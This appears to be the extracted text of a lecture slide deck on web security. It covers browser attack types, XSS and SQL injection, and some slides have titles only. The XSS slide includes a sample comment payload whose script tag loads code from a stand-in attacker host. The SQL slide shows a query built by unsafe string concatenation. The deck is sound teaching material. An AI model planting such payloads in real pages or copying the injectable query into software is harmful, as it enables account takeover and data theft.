Web Security - PPT
Web Security - PPT
Browser Vulnerabilities
• Security issues for browsers arise from several
complications to that simple description, such as
these:
• A browser often connects to more than the one
address shown in the browser’s address bar.
• Fetching data can entail accesses to numerous
locations to obtain pictures, audio content, and
other linked content.
• Browser software can be malicious or can be
corrupted to acquire malicious functionality.
• Popular browsers support add-ins, extra code to
add new features to the browser, but these add-ins
themselves can include corrupting code.
Browser Vulnerabilities
3
Browser Attack Types
• Man-in-the-browser
• Keystroke logger
• Page-in-the-middle
• Program download substitution
• User-in-the-middle
4
Man-in-the-Browser
5
Keystroke Logger
• Hardware or software that records all
keystrokes
• May be a small dongle plugged into a USB
port or can masquerade as a keyboard
• May also be installed as malware
• Not limited to browsers
6
Page-in-the-Middle
• User is directed to a different page than
believed or intended
• Similar effect to a man-in-the-browser,
where attacker can intercept and modify
user input
Program Download Substitution
• Attacker creates a page with seemingly
innocuous and desirable programs for download
• Instead of, or in addition to, the intended
functionality, the user installs malware
• This is a very common technique for spyware
User-in-the-Middle
• Using click-bait to
trick users into solving
CAPTCHAs on
spammers’ behalf
Successful Authentication
• The attacks listed above are largely failures of
authentication
• Can be mitigated with
– Shared secret
– One-time password
– Out-of-band communication
Fake Website
Fake Code
Tracking Bug
Clickjacking
Drive-By Download
• Code is downloaded, installed, and
executed on a computer without the user’s
knowledge
• May be the result of clickjacking, fake
code, program download subsitution, etc.
Cross-Site Scripting (XSS)
• Tricking a client or server into executing scripted
code by including the code in data inputs
• Scripts and HTML tags are encoded as plaintext just
like user inputs, so they can take over web pages
similarly to the way buffer overflow attacks can take
over programs
Cool<br>story.<br>KCTVBigFan<script
src=http://badsite.com/xss.js></script>
SQL Injection
• Injecting SQL code into an exchange
between an application and its database
server
• Example:
– Loading an SQL query into a variable, taking
the value of acctNum from an arbitrary user
input field:
– QUERY = "SELECT * FROM trans WHERE acct = '" + acctNum + " ';
"